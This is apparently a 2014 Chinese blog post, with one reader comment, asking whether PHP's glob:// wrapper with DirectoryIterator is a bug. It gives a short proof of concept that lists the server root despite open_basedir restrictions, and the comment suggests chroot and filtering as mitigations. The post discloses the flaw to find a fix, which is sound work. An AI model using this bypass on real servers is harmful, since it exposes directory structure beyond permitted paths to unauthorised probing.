DirectoryIterator 與 glob 是 PHP 5.3 開始支援的功能,但現在它看起來像是可以被用來瀏覽遍及 / 底下的東西,如下測試

是 Bug 還是 ?

我測試是成功的,也還沒找到解決方式

open_basedir : %s 
', ini_get('open_basedir'));
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///var/www/html/*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
        echo "{$f}
";
}
?>

結果

open_basedir : /var/www/html/ssorc.tw:/tmp
.
..
.autofsck
.autorelabel
bin
boot
dev
etc
home
lib
lost+found
media
misc
mnt
net
opt
proc
root
sbin
selinux
srv
sys
tmp
usr
var

參考 : WooYun

最後修改日期: 2014 年 12 月 17 日

作者

留言

這個是Bug ..
內部靠chroot , 外面可能要有關鍵字去做proxy filter or iptables word filter 很累人的一件事。
看一下PHP 5.4 有沒有!!

[Reply]

撰寫回覆或留言

發佈留言必須填寫的電子郵件地址不會公開。